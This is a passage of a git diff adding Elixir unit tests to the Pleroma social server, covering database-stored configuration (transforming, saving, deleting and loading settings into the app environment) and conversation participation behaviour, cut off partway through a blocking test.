+ })
+
+ {:ok, _config} =
+ ConfigDB.update_or_create(%{
+ group: config2.group,
+ key: config2.key,
+ value: [mascots: [c: 3, d: 4], key: [b: 2]]
+ })
+
+ updated1 = ConfigDB.get_by_params(%{group: config1.group, key: config1.key})
+ updated2 = ConfigDB.get_by_params(%{group: config2.group, key: config2.key})
+
+ assert ConfigDB.from_binary(updated1.value) == [groups: [c: 3, d: 4], key: [a: 1, b: 2]]
+ assert ConfigDB.from_binary(updated2.value) == [mascots: [c: 3, d: 4], key: [a: 1, b: 2]]
+ end
+ end
+
+ describe "delete/1" do
+ test "error on deleting non existing setting" do
+ {:error, error} = ConfigDB.delete(%{group: ":pleroma", key: ":key"})
+ assert error =~ "Config with params %{group: \":pleroma\", key: \":key\"} not found"
+ end
+
+ test "full delete" do
+ config = insert(:config)
+ {:ok, deleted} = ConfigDB.delete(%{group: config.group, key: config.key})
+ assert Ecto.get_meta(deleted, :state) == :deleted
+ refute ConfigDB.get_by_params(%{group: config.group, key: config.key})
+ end
+
+ test "partial subkeys delete" do
+ config = insert(:config, value: ConfigDB.to_binary(groups: [a: 1, b: 2], key: [a: 1]))
+
+ {:ok, deleted} =
+ ConfigDB.delete(%{group: config.group, key: config.key, subkeys: [":groups"]})
+
+ assert Ecto.get_meta(deleted, :state) == :loaded
+
+ assert deleted.value == ConfigDB.to_binary(key: [a: 1])
+
+ updated = ConfigDB.get_by_params(%{group: config.group, key: config.key})
+
+ assert updated.value == deleted.value
+ end
+
+ test "full delete if remaining value after subkeys deletion is empty list" do
+ config = insert(:config, value: ConfigDB.to_binary(groups: [a: 1, b: 2]))
+
+ {:ok, deleted} =
+ ConfigDB.delete(%{group: config.group, key: config.key, subkeys: [":groups"]})
+
+ assert Ecto.get_meta(deleted, :state) == :deleted
+
+ refute ConfigDB.get_by_params(%{group: config.group, key: config.key})
+ end
+ end
+
+ describe "transform/1" do
+ test "string" do
+ binary = ConfigDB.transform("value as string")
+ assert binary == :erlang.term_to_binary("value as string")
+ assert ConfigDB.from_binary(binary) == "value as string"
+ end
+
+ test "boolean" do
+ binary = ConfigDB.transform(false)
+ assert binary == :erlang.term_to_binary(false)
+ assert ConfigDB.from_binary(binary) == false
+ end
+
+ test "nil" do
+ binary = ConfigDB.transform(nil)
+ assert binary == :erlang.term_to_binary(nil)
+ assert ConfigDB.from_binary(binary) == nil
+ end
+
+ test "integer" do
+ binary = ConfigDB.transform(150)
+ assert binary == :erlang.term_to_binary(150)
+ assert ConfigDB.from_binary(binary) == 150
+ end
+
+ test "atom" do
+ binary = ConfigDB.transform(":atom")
+ assert binary == :erlang.term_to_binary(:atom)
+ assert ConfigDB.from_binary(binary) == :atom
+ end
+
+ test "ssl options" do
+ binary = ConfigDB.transform([":tlsv1", ":tlsv1.1", ":tlsv1.2"])
+ assert binary == :erlang.term_to_binary([:tlsv1, :"tlsv1.1", :"tlsv1.2"])
+ assert ConfigDB.from_binary(binary) == [:tlsv1, :"tlsv1.1", :"tlsv1.2"]
+ end
+
+ test "pleroma module" do
+ binary = ConfigDB.transform("Pleroma.Bookmark")
+ assert binary == :erlang.term_to_binary(Pleroma.Bookmark)
+ assert ConfigDB.from_binary(binary) == Pleroma.Bookmark
+ end
+
+ test "pleroma string" do
+ binary = ConfigDB.transform("Pleroma")
+ assert binary == :erlang.term_to_binary("Pleroma")
+ assert ConfigDB.from_binary(binary) == "Pleroma"
+ end
+
+ test "phoenix module" do
+ binary = ConfigDB.transform("Phoenix.Socket.V1.JSONSerializer")
+ assert binary == :erlang.term_to_binary(Phoenix.Socket.V1.JSONSerializer)
+ assert ConfigDB.from_binary(binary) == Phoenix.Socket.V1.JSONSerializer
+ end
+
+ test "tesla module" do
+ binary = ConfigDB.transform("Tesla.Adapter.Hackney")
+ assert binary == :erlang.term_to_binary(Tesla.Adapter.Hackney)
+ assert ConfigDB.from_binary(binary) == Tesla.Adapter.Hackney
+ end
+
+ test "ExSyslogger module" do
+ binary = ConfigDB.transform("ExSyslogger")
+ assert binary == :erlang.term_to_binary(ExSyslogger)
+ assert ConfigDB.from_binary(binary) == ExSyslogger
+ end
+
+ test "Quack.Logger module" do
+ binary = ConfigDB.transform("Quack.Logger")
+ assert binary == :erlang.term_to_binary(Quack.Logger)
+ assert ConfigDB.from_binary(binary) == Quack.Logger
+ end
+
+ test "Swoosh.Adapters modules" do
+ binary = ConfigDB.transform("Swoosh.Adapters.SMTP")
+ assert binary == :erlang.term_to_binary(Swoosh.Adapters.SMTP)
+ assert ConfigDB.from_binary(binary) == Swoosh.Adapters.SMTP
+ binary = ConfigDB.transform("Swoosh.Adapters.AmazonSES")
+ assert binary == :erlang.term_to_binary(Swoosh.Adapters.AmazonSES)
+ assert ConfigDB.from_binary(binary) == Swoosh.Adapters.AmazonSES
+ end
+
+ test "sigil" do
+ binary = ConfigDB.transform("~r[comp[lL][aA][iI][nN]er]")
+ assert binary == :erlang.term_to_binary(~r/comp[lL][aA][iI][nN]er/)
+ assert ConfigDB.from_binary(binary) == ~r/comp[lL][aA][iI][nN]er/
+ end
+
+ test "link sigil" do
+ binary = ConfigDB.transform("~r/https:\/\/example.com/")
+ assert binary == :erlang.term_to_binary(~r/https:\/\/example.com/)
+ assert ConfigDB.from_binary(binary) == ~r/https:\/\/example.com/
+ end
+
+ test "link sigil with um modifiers" do
+ binary = ConfigDB.transform("~r/https:\/\/example.com/um")
+ assert binary == :erlang.term_to_binary(~r/https:\/\/example.com/um)
+ assert ConfigDB.from_binary(binary) == ~r/https:\/\/example.com/um
+ end
+
+ test "link sigil with i modifier" do
+ binary = ConfigDB.transform("~r/https:\/\/example.com/i")
+ assert binary == :erlang.term_to_binary(~r/https:\/\/example.com/i)
+ assert ConfigDB.from_binary(binary) == ~r/https:\/\/example.com/i
+ end
+
+ test "link sigil with s modifier" do
+ binary = ConfigDB.transform("~r/https:\/\/example.com/s")
+ assert binary == :erlang.term_to_binary(~r/https:\/\/example.com/s)
+ assert ConfigDB.from_binary(binary) == ~r/https:\/\/example.com/s
+ end
+
+ test "raise if valid delimiter not found" do
+ assert_raise ArgumentError, "valid delimiter for Regex expression not found", fn ->
+ ConfigDB.transform("~r/https://[]{}<>\"'()|example.com/s")
+ end
+ end
+
+ test "2 child tuple" do
+ binary = ConfigDB.transform(%{"tuple" => ["v1", ":v2"]})
+ assert binary == :erlang.term_to_binary({"v1", :v2})
+ assert ConfigDB.from_binary(binary) == {"v1", :v2}
+ end
+
+ test "proxy tuple with localhost" do
+ binary =
+ ConfigDB.transform(%{
+ "tuple" => [":proxy_url", %{"tuple" => [":socks5", "localhost", 1234]}]
+ })
+
+ assert binary == :erlang.term_to_binary({:proxy_url, {:socks5, :localhost, 1234}})
+ assert ConfigDB.from_binary(binary) == {:proxy_url, {:socks5, :localhost, 1234}}
+ end
+
+ test "proxy tuple with domain" do
+ binary =
+ ConfigDB.transform(%{
+ "tuple" => [":proxy_url", %{"tuple" => [":socks5", "domain.com", 1234]}]
+ })
+
+ assert binary == :erlang.term_to_binary({:proxy_url, {:socks5, 'domain.com', 1234}})
+ assert ConfigDB.from_binary(binary) == {:proxy_url, {:socks5, 'domain.com', 1234}}
+ end
+
+ test "proxy tuple with ip" do
+ binary =
+ ConfigDB.transform(%{
+ "tuple" => [":proxy_url", %{"tuple" => [":socks5", "127.0.0.1", 1234]}]
+ })
+
+ assert binary == :erlang.term_to_binary({:proxy_url, {:socks5, {127, 0, 0, 1}, 1234}})
+ assert ConfigDB.from_binary(binary) == {:proxy_url, {:socks5, {127, 0, 0, 1}, 1234}}
+ end
+
+ test "tuple with n childs" do
+ binary =
+ ConfigDB.transform(%{
+ "tuple" => [
+ "v1",
+ ":v2",
+ "Pleroma.Bookmark",
+ 150,
+ false,
+ "Phoenix.Socket.V1.JSONSerializer"
+ ]
+ })
+
+ assert binary ==
+ :erlang.term_to_binary(
+ {"v1", :v2, Pleroma.Bookmark, 150, false, Phoenix.Socket.V1.JSONSerializer}
+ )
+
+ assert ConfigDB.from_binary(binary) ==
+ {"v1", :v2, Pleroma.Bookmark, 150, false, Phoenix.Socket.V1.JSONSerializer}
+ end
+
+ test "map with string key" do
+ binary = ConfigDB.transform(%{"key" => "value"})
+ assert binary == :erlang.term_to_binary(%{"key" => "value"})
+ assert ConfigDB.from_binary(binary) == %{"key" => "value"}
+ end
+
+ test "map with atom key" do
+ binary = ConfigDB.transform(%{":key" => "value"})
+ assert binary == :erlang.term_to_binary(%{key: "value"})
+ assert ConfigDB.from_binary(binary) == %{key: "value"}
+ end
+
+ test "list of strings" do
+ binary = ConfigDB.transform(["v1", "v2", "v3"])
+ assert binary == :erlang.term_to_binary(["v1", "v2", "v3"])
+ assert ConfigDB.from_binary(binary) == ["v1", "v2", "v3"]
+ end
+
+ test "list of modules" do
+ binary = ConfigDB.transform(["Pleroma.Repo", "Pleroma.Activity"])
+ assert binary == :erlang.term_to_binary([Pleroma.Repo, Pleroma.Activity])
+ assert ConfigDB.from_binary(binary) == [Pleroma.Repo, Pleroma.Activity]
+ end
+
+ test "list of atoms" do
+ binary = ConfigDB.transform([":v1", ":v2", ":v3"])
+ assert binary == :erlang.term_to_binary([:v1, :v2, :v3])
+ assert ConfigDB.from_binary(binary) == [:v1, :v2, :v3]
+ end
+
+ test "list of mixed values" do
+ binary =
+ ConfigDB.transform([
+ "v1",
+ ":v2",
+ "Pleroma.Repo",
+ "Phoenix.Socket.V1.JSONSerializer",
+ 15,
+ false
+ ])
+
+ assert binary ==
+ :erlang.term_to_binary([
+ "v1",
+ :v2,
+ Pleroma.Repo,
+ Phoenix.Socket.V1.JSONSerializer,
+ 15,
+ false
+ ])
+
+ assert ConfigDB.from_binary(binary) == [
+ "v1",
+ :v2,
+ Pleroma.Repo,
+ Phoenix.Socket.V1.JSONSerializer,
+ 15,
+ false
+ ]
+ end
+
+ test "simple keyword" do
+ binary = ConfigDB.transform([%{"tuple" => [":key", "value"]}])
+ assert binary == :erlang.term_to_binary([{:key, "value"}])
+ assert ConfigDB.from_binary(binary) == [{:key, "value"}]
+ assert ConfigDB.from_binary(binary) == [key: "value"]
+ end
+
+ test "keyword with partial_chain key" do
+ binary =
+ ConfigDB.transform([%{"tuple" => [":partial_chain", "&:hackney_connect.partial_chain/1"]}])
+
+ assert binary == :erlang.term_to_binary(partial_chain: &:hackney_connect.partial_chain/1)
+ assert ConfigDB.from_binary(binary) == [partial_chain: &:hackney_connect.partial_chain/1]
+ end
+
+ test "keyword" do
+ binary =
+ ConfigDB.transform([
+ %{"tuple" => [":types", "Pleroma.PostgresTypes"]},
+ %{"tuple" => [":telemetry_event", ["Pleroma.Repo.Instrumenter"]]},
+ %{"tuple" => [":migration_lock", nil]},
+ %{"tuple" => [":key1", 150]},
+ %{"tuple" => [":key2", "string"]}
+ ])
+
+ assert binary ==
+ :erlang.term_to_binary(
+ types: Pleroma.PostgresTypes,
+ telemetry_event: [Pleroma.Repo.Instrumenter],
+ migration_lock: nil,
+ key1: 150,
+ key2: "string"
+ )
+
+ assert ConfigDB.from_binary(binary) == [
+ types: Pleroma.PostgresTypes,
+ telemetry_event: [Pleroma.Repo.Instrumenter],
+ migration_lock: nil,
+ key1: 150,
+ key2: "string"
+ ]
+ end
+
+ test "complex keyword with nested mixed childs" do
+ binary =
+ ConfigDB.transform([
+ %{"tuple" => [":uploader", "Pleroma.Uploaders.Local"]},
+ %{"tuple" => [":filters", ["Pleroma.Upload.Filter.Dedupe"]]},
+ %{"tuple" => [":link_name", true]},
+ %{"tuple" => [":proxy_remote", false]},
+ %{"tuple" => [":common_map", %{":key" => "value"}]},
+ %{
+ "tuple" => [
+ ":proxy_opts",
+ [
+ %{"tuple" => [":redirect_on_failure", false]},
+ %{"tuple" => [":max_body_length", 1_048_576]},
+ %{
+ "tuple" => [
+ ":http",
+ [%{"tuple" => [":follow_redirect", true]}, %{"tuple" => [":pool", ":upload"]}]
+ ]
+ }
+ ]
+ ]
+ }
+ ])
+
+ assert binary ==
+ :erlang.term_to_binary(
+ uploader: Pleroma.Uploaders.Local,
+ filters: [Pleroma.Upload.Filter.Dedupe],
+ link_name: true,
+ proxy_remote: false,
+ common_map: %{key: "value"},
+ proxy_opts: [
+ redirect_on_failure: false,
+ max_body_length: 1_048_576,
+ http: [
+ follow_redirect: true,
+ pool: :upload
+ ]
+ ]
+ )
+
+ assert ConfigDB.from_binary(binary) ==
+ [
+ uploader: Pleroma.Uploaders.Local,
+ filters: [Pleroma.Upload.Filter.Dedupe],
+ link_name: true,
+ proxy_remote: false,
+ common_map: %{key: "value"},
+ proxy_opts: [
+ redirect_on_failure: false,
+ max_body_length: 1_048_576,
+ http: [
+ follow_redirect: true,
+ pool: :upload
+ ]
+ ]
+ ]
+ end
+
+ test "common keyword" do
+ binary =
+ ConfigDB.transform([
+ %{"tuple" => [":level", ":warn"]},
+ %{"tuple" => [":meta", [":all"]]},
+ %{"tuple" => [":path", ""]},
+ %{"tuple" => [":val", nil]},
+ %{"tuple" => [":webhook_url", "https://hooks.slack.com/services/YOUR-KEY-HERE"]}
+ ])
+
+ assert binary ==
+ :erlang.term_to_binary(
+ level: :warn,
+ meta: [:all],
+ path: "",
+ val: nil,
+ webhook_url: "https://hooks.slack.com/services/YOUR-KEY-HERE"
+ )
+
+ assert ConfigDB.from_binary(binary) == [
+ level: :warn,
+ meta: [:all],
+ path: "",
+ val: nil,
+ webhook_url: "https://hooks.slack.com/services/YOUR-KEY-HERE"
+ ]
+ end
+
+ test "complex keyword with sigil" do
+ binary =
+ ConfigDB.transform([
+ %{"tuple" => [":federated_timeline_removal", []]},
+ %{"tuple" => [":reject", ["~r/comp[lL][aA][iI][nN]er/"]]},
+ %{"tuple" => [":replace", []]}
+ ])
+
+ assert binary ==
+ :erlang.term_to_binary(
+ federated_timeline_removal: [],
+ reject: [~r/comp[lL][aA][iI][nN]er/],
+ replace: []
+ )
+
+ assert ConfigDB.from_binary(binary) ==
+ [federated_timeline_removal: [], reject: [~r/comp[lL][aA][iI][nN]er/], replace: []]
+ end
+
+ test "complex keyword with tuples with more than 2 values" do
+ binary =
+ ConfigDB.transform([
+ %{
+ "tuple" => [
+ ":http",
+ [
+ %{
+ "tuple" => [
+ ":key1",
+ [
+ %{
+ "tuple" => [
+ ":_",
+ [
+ %{
+ "tuple" => [
+ "/api/v1/streaming",
+ "Pleroma.Web.MastodonAPI.WebsocketHandler",
+ []
+ ]
+ },
+ %{
+ "tuple" => [
+ "/websocket",
+ "Phoenix.Endpoint.CowboyWebSocket",
+ %{
+ "tuple" => [
+ "Phoenix.Transports.WebSocket",
+ %{
+ "tuple" => [
+ "Pleroma.Web.Endpoint",
+ "Pleroma.Web.UserSocket",
+ []
+ ]
+ }
+ ]
+ }
+ ]
+ },
+ %{
+ "tuple" => [
+ ":_",
+ "Phoenix.Endpoint.Cowboy2Handler",
+ %{"tuple" => ["Pleroma.Web.Endpoint", []]}
+ ]
+ }
+ ]
+ ]
+ }
+ ]
+ ]
+ }
+ ]
+ ]
+ }
+ ])
+
+ assert binary ==
+ :erlang.term_to_binary(
+ http: [
+ key1: [
+ _: [
+ {"/api/v1/streaming", Pleroma.Web.MastodonAPI.WebsocketHandler, []},
+ {"/websocket", Phoenix.Endpoint.CowboyWebSocket,
+ {Phoenix.Transports.WebSocket,
+ {Pleroma.Web.Endpoint, Pleroma.Web.UserSocket, []}}},
+ {:_, Phoenix.Endpoint.Cowboy2Handler, {Pleroma.Web.Endpoint, []}}
+ ]
+ ]
+ ]
+ )
+
+ assert ConfigDB.from_binary(binary) == [
+ http: [
+ key1: [
+ {:_,
+ [
+ {"/api/v1/streaming", Pleroma.Web.MastodonAPI.WebsocketHandler, []},
+ {"/websocket", Phoenix.Endpoint.CowboyWebSocket,
+ {Phoenix.Transports.WebSocket,
+ {Pleroma.Web.Endpoint, Pleroma.Web.UserSocket, []}}},
+ {:_, Phoenix.Endpoint.Cowboy2Handler, {Pleroma.Web.Endpoint, []}}
+ ]}
+ ]
+ ]
+ ]
+ end
+ end
+end
diff --git a/test/config/holder_test.exs b/test/config/holder_test.exs
new file mode 100644
index 000000000..0c1882d0f
--- /dev/null
+++ b/test/config/holder_test.exs
@@ -0,0 +1,34 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Config.HolderTest do
+ use ExUnit.Case, async: true
+
+ alias Pleroma.Config.Holder
+
+ test "config/0" do
+ config = Holder.config()
+ assert config[:pleroma][Pleroma.Uploaders.Local][:uploads] == "test/uploads"
+ assert config[:tesla][:adapter] == Tesla.Mock
+
+ refute config[:pleroma][Pleroma.Repo]
+ refute config[:pleroma][Pleroma.Web.Endpoint]
+ refute config[:pleroma][:env]
+ refute config[:pleroma][:configurable_from_database]
+ refute config[:pleroma][:database]
+ refute config[:phoenix][:serve_endpoints]
+ end
+
+ test "config/1" do
+ pleroma_config = Holder.config(:pleroma)
+ assert pleroma_config[Pleroma.Uploaders.Local][:uploads] == "test/uploads"
+ tesla_config = Holder.config(:tesla)
+ assert tesla_config[:adapter] == Tesla.Mock
+ end
+
+ test "config/2" do
+ assert Holder.config(:pleroma, Pleroma.Uploaders.Local) == [uploads: "test/uploads"]
+ assert Holder.config(:tesla, :adapter) == Tesla.Mock
+ end
+end
diff --git a/test/config/loader_test.exs b/test/config/loader_test.exs
new file mode 100644
index 000000000..0dd4c60bb
--- /dev/null
+++ b/test/config/loader_test.exs
@@ -0,0 +1,44 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Config.LoaderTest do
+ use ExUnit.Case, async: true
+
+ alias Pleroma.Config.Loader
+
+ test "load/1" do
+ config = Loader.load("test/fixtures/config/temp.secret.exs")
+ assert config[:pleroma][:first_setting][:key] == "value"
+ assert config[:pleroma][:first_setting][:key2] == [Pleroma.Repo]
+ assert config[:quack][:level] == :info
+ end
+
+ test "load_and_merge/0" do
+ config = Loader.load_and_merge()
+
+ refute config[:pleroma][Pleroma.Repo]
+ refute config[:pleroma][Pleroma.Web.Endpoint]
+ refute config[:pleroma][:env]
+ refute config[:pleroma][:configurable_from_database]
+ refute config[:pleroma][:database]
+ refute config[:phoenix][:serve_endpoints]
+
+ assert config[:pleroma][:ecto_repos] == [Pleroma.Repo]
+ assert config[:pleroma][Pleroma.Uploaders.Local][:uploads] == "test/uploads"
+ assert config[:tesla][:adapter] == Tesla.Mock
+ end
+
+ test "filter_group/2" do
+ assert Loader.filter_group(:pleroma,
+ pleroma: [
+ {Pleroma.Repo, [a: 1, b: 2]},
+ {Pleroma.Upload, [a: 1, b: 2]},
+ {Pleroma.Web.Endpoint, []},
+ env: :test,
+ configurable_from_database: true,
+ database: []
+ ]
+ ) == [{Pleroma.Upload, [a: 1, b: 2]}]
+ end
+end
diff --git a/test/config/transfer_task_test.exs b/test/config/transfer_task_test.exs
index dbeadbe87..53e8703fd 100644
--- a/test/config/transfer_task_test.exs
+++ b/test/config/transfer_task_test.exs
@@ -5,53 +5,104 @@
defmodule Pleroma.Config.TransferTaskTest do
use Pleroma.DataCase
- setup do
- dynamic = Pleroma.Config.get([:instance, :dynamic_configuration])
+ alias Pleroma.Config.TransferTask
+ alias Pleroma.ConfigDB
- Pleroma.Config.put([:instance, :dynamic_configuration], true)
-
- on_exit(fn ->
- Pleroma.Config.put([:instance, :dynamic_configuration], dynamic)
- end)
+ clear_config(:configurable_from_database) do
+ Pleroma.Config.put(:configurable_from_database, true)
end
test "transfer config values from db to env" do
refute Application.get_env(:pleroma, :test_key)
refute Application.get_env(:idna, :test_key)
+ refute Application.get_env(:quack, :test_key)
- Pleroma.Web.AdminAPI.Config.create(%{
- group: "pleroma",
- key: "test_key",
+ ConfigDB.create(%{
+ group: ":pleroma",
+ key: ":test_key",
value: [live: 2, com: 3]
})
- Pleroma.Web.AdminAPI.Config.create(%{
- group: "idna",
- key: "test_key",
+ ConfigDB.create(%{
+ group: ":idna",
+ key: ":test_key",
value: [live: 15, com: 35]
})
- Pleroma.Config.TransferTask.start_link()
+ ConfigDB.create(%{
+ group: ":quack",
+ key: ":test_key",
+ value: [:test_value1, :test_value2]
+ })
+
+ TransferTask.start_link([])
assert Application.get_env(:pleroma, :test_key) == [live: 2, com: 3]
assert Application.get_env(:idna, :test_key) == [live: 15, com: 35]
+ assert Application.get_env(:quack, :test_key) == [:test_value1, :test_value2]
on_exit(fn ->
Application.delete_env(:pleroma, :test_key)
Application.delete_env(:idna, :test_key)
+ Application.delete_env(:quack, :test_key)
end)
end
- test "non existing atom" do
- Pleroma.Web.AdminAPI.Config.create(%{
- group: "pleroma",
- key: "undefined_atom_key",
- value: [live: 2, com: 3]
+ test "transfer config values for 1 group and some keys" do
+ level = Application.get_env(:quack, :level)
+ meta = Application.get_env(:quack, :meta)
+
+ ConfigDB.create(%{
+ group: ":quack",
+ key: ":level",
+ value: :info
+ })
+
+ ConfigDB.create(%{
+ group: ":quack",
+ key: ":meta",
+ value: [:none]
+ })
+
+ TransferTask.start_link([])
+
+ assert Application.get_env(:quack, :level) == :info
+ assert Application.get_env(:quack, :meta) == [:none]
+ default = Pleroma.Config.Holder.config(:quack, :webhook_url)
+ assert Application.get_env(:quack, :webhook_url) == default
+
+ on_exit(fn ->
+ Application.put_env(:quack, :level, level)
+ Application.put_env(:quack, :meta, meta)
+ end)
+ end
+
+ test "transfer config values with full subkey update" do
+ emoji = Application.get_env(:pleroma, :emoji)
+ assets = Application.get_env(:pleroma, :assets)
+
+ ConfigDB.create(%{
+ group: ":pleroma",
+ key: ":emoji",
+ value: [groups: [a: 1, b: 2]]
})
- assert ExUnit.CaptureLog.capture_log(fn ->
- Pleroma.Config.TransferTask.start_link()
- end) =~
- "updating env causes error, key: \"undefined_atom_key\", error: %ArgumentError{message: \"argument error\"}"
+ ConfigDB.create(%{
+ group: ":pleroma",
+ key: ":assets",
+ value: [mascots: [a: 1, b: 2]]
+ })
+
+ TransferTask.start_link([])
+
+ emoji_env = Application.get_env(:pleroma, :emoji)
+ assert emoji_env[:groups] == [a: 1, b: 2]
+ assets_env = Application.get_env(:pleroma, :assets)
+ assert assets_env[:mascots] == [a: 1, b: 2]
+
+ on_exit(fn ->
+ Application.put_env(:pleroma, :emoji, emoji)
+ Application.put_env(:pleroma, :assets, assets)
+ end)
end
end
diff --git a/test/config_test.exs b/test/config_test.exs
index 73f3fcb0a..438fe62ee 100644
--- a/test/config_test.exs
+++ b/test/config_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ConfigTest do
diff --git a/test/conversation/participation_test.exs b/test/conversation/participation_test.exs
index 2a03e5d67..ab9f27b2f 100644
--- a/test/conversation/participation_test.exs
+++ b/test/conversation/participation_test.exs
@@ -5,9 +5,91 @@
defmodule Pleroma.Conversation.ParticipationTest do
use Pleroma.DataCase
import Pleroma.Factory
+ alias Pleroma.Conversation
alias Pleroma.Conversation.Participation
+ alias Pleroma.Repo
+ alias Pleroma.User
alias Pleroma.Web.CommonAPI
+ test "getting a participation will also preload things" do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, _activity} =
+ CommonAPI.post(user, %{"status" => "Hey @#{other_user.nickname}.", "visibility" => "direct"})
+
+ [participation] = Participation.for_user(user)
+
+ participation = Participation.get(participation.id, preload: [:conversation])
+
+ assert %Pleroma.Conversation{} = participation.conversation
+ end
+
+ test "for a new conversation or a reply, it doesn't mark the author's participation as unread" do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, _} =
+ CommonAPI.post(user, %{"status" => "Hey @#{other_user.nickname}.", "visibility" => "direct"})
+
+ user = User.get_cached_by_id(user.id)
+ other_user = User.get_cached_by_id(other_user.id)
+
+ [%{read: true}] = Participation.for_user(user)
+ [%{read: false} = participation] = Participation.for_user(other_user)
+
+ assert User.get_cached_by_id(user.id).unread_conversation_count == 0
+ assert User.get_cached_by_id(other_user.id).unread_conversation_count == 1
+
+ {:ok, _} =
+ CommonAPI.post(other_user, %{
+ "status" => "Hey @#{user.nickname}.",
+ "visibility" => "direct",
+ "in_reply_to_conversation_id" => participation.id
+ })
+
+ user = User.get_cached_by_id(user.id)
+ other_user = User.get_cached_by_id(other_user.id)
+
+ [%{read: false}] = Participation.for_user(user)
+ [%{read: true}] = Participation.for_user(other_user)
+
+ assert User.get_cached_by_id(user.id).unread_conversation_count == 1
+ assert User.get_cached_by_id(other_user.id).unread_conversation_count == 0
+ end
+
+ test "for a new conversation, it sets the recipents of the participation" do
+ user = insert(:user)
+ other_user = insert(:user)
+ third_user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.post(user, %{"status" => "Hey @#{other_user.nickname}.", "visibility" => "direct"})
+
+ user = User.get_cached_by_id(user.id)
+ other_user = User.get_cached_by_id(other_user.id)
+ [participation] = Participation.for_user(user)
+ participation = Pleroma.Repo.preload(participation, :recipients)
+
+ assert length(participation.recipients) == 2
+ assert user in participation.recipients
+ assert other_user in participation.recipients
+
+ # Mentioning another user in the same conversation will not add a new recipients.
+
+ {:ok, _activity} =
+ CommonAPI.post(user, %{
+ "in_reply_to_status_id" => activity.id,
+ "status" => "Hey @#{third_user.nickname}.",
+ "visibility" => "direct"
+ })
+
+ [participation] = Participation.for_user(user)
+ participation = Pleroma.Repo.preload(participation, :recipients)
+
+ assert length(participation.recipients) == 2
+ end
+
test "it creates a participation for a conversation and a user" do
user = insert(:user)
conversation = insert(:conversation)
@@ -18,7 +100,9 @@ defmodule Pleroma.Conversation.ParticipationTest do
assert participation.user_id == user.id
assert participation.conversation_id == conversation.id
+ # Needed because updated_at is accurate down to a second
:timer.sleep(1000)
+
# Creating again returns the same participation
{:ok, %Participation{} = participation_two} =
Participation.create_for_user_and_conversation(user, conversation)
@@ -41,9 +125,10 @@ defmodule Pleroma.Conversation.ParticipationTest do
test "it marks a participation as read" do
participation = insert(:participation, %{read: false})
- {:ok, participation} = Participation.mark_as_read(participation)
+ {:ok, updated_participation} = Participation.mark_as_read(participation)
- assert participation.read
+ assert updated_participation.read
+ assert updated_participation.updated_at == participation.updated_at
end
test "it marks a participation as unread" do
@@ -53,12 +138,24 @@ defmodule Pleroma.Conversation.ParticipationTest do
refute participation.read
end
+ test "it marks all the user's participations as read" do
+ user = insert(:user)
+ other_user = insert(:user)
+ participation1 = insert(:participation, %{read: false, user: user})
+ participation2 = insert(:participation, %{read: false, user: user})
+ participation3 = insert(:participation, %{read: false, user: other_user})
+
+ {:ok, _, [%{read: true}, %{read: true}]} = Participation.mark_all_as_read(user)
+
+ assert Participation.get(participation1.id).read == true
+ assert Participation.get(participation2.id).read == true
+ assert Participation.get(participation3.id).read == false
+ end
+
test "gets all the participations for a user, ordered by updated at descending" do
user = insert(:user)
{:ok, activity_one} = CommonAPI.post(user, %{"status" => "x", "visibility" => "direct"})
- :timer.sleep(1000)
{:ok, activity_two} = CommonAPI.post(user, %{"status" => "x", "visibility" => "direct"})
- :timer.sleep(1000)
{:ok, activity_three} =
CommonAPI.post(user, %{
@@ -67,6 +164,17 @@ defmodule Pleroma.Conversation.ParticipationTest do
"in_reply_to_status_id" => activity_one.id
})
+ # Offset participations because the accuracy of updated_at is down to a second
+
+ for {activity, offset} <- [{activity_two, 1}, {activity_three, 2}] do
+ conversation = Conversation.get_for_ap_id(activity.data["context"])
+ participation = Participation.for_user_and_conversation(user, conversation)
+ updated_at = NaiveDateTime.add(Map.get(participation, :updated_at), offset)
+
+ Ecto.Changeset.change(participation, %{updated_at: updated_at})
+ |> Repo.update!()
+ end
+
assert [participation_one, participation_two] = Participation.for_user(user)
object2 = Pleroma.Object.normalize(activity_two)
@@ -102,4 +210,154 @@ defmodule Pleroma.Conversation.ParticipationTest do
[] = Participation.for_user_with_last_activity_id(user)
end
+
+ test "it sets recipients, always keeping the owner of the participation even when not explicitly set" do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, _activity} = CommonAPI.post(user, %{"status" => ".", "visibility" => "direct"})
+ [participation] = Participation.for_user_with_last_activity_id(user)
+
+ participation = Repo.preload(participation, :recipients)
+ user = User.get_cached_by_id(user.id)
+
+ assert participation.recipients |> length() == 1
+ assert user in participation.recipients
+
+ {:ok, participation} = Participation.set_recipients(participation, [other_user.id])
+
+ assert participation.recipients |> length() == 2
+ assert user in participation.recipients
+ assert other_user in participation.recipients
+ end
+
+ describe "blocking" do
+ test "when the user blocks a recipient, the existing conversations with them are marked as read" do
+ blocker = insert(:user)
+ blocked = insert(:user)
+ third_user = insert(:user)
+
+ {:ok, _direct1} =
+ CommonAPI.post(third_user, %{
+ "status" => "Hi @#{blocker.nickname}",
+ "visibility" => "direct"
+ })
+
+ {:ok, _direct2} =
+ CommonAPI.post(third_user, %{
+ "status" => "Hi @#{blocker.nickname}, @#{blocked.nickname}",
+ "visibility" => "direct"
+ })
+
+ {:ok, _direct3} =
+ CommonAPI.post(blocked, %{
+ "status" => "Hi @#{blocker.nickname}",
+ "visibility" => "direct"
+ })
+
+ {:ok, _direct4} =
+ CommonAPI.post(blocked, %{
+ "status" => "Hi @#{blocker.nickname}, @#{third_user.nickname}",
+ "visibility" => "direct"
+ })
+
+ assert [%{read: false}, %{read: false}, %{read: false}, %{read: false}] =
+ Participation.for_user(blocker)
+
+ assert User.get_cached_by_id(blocker.id).unread_conversation_count == 4
+
+ {:ok, _user_relationship} = User.block(blocker, blocked)
+
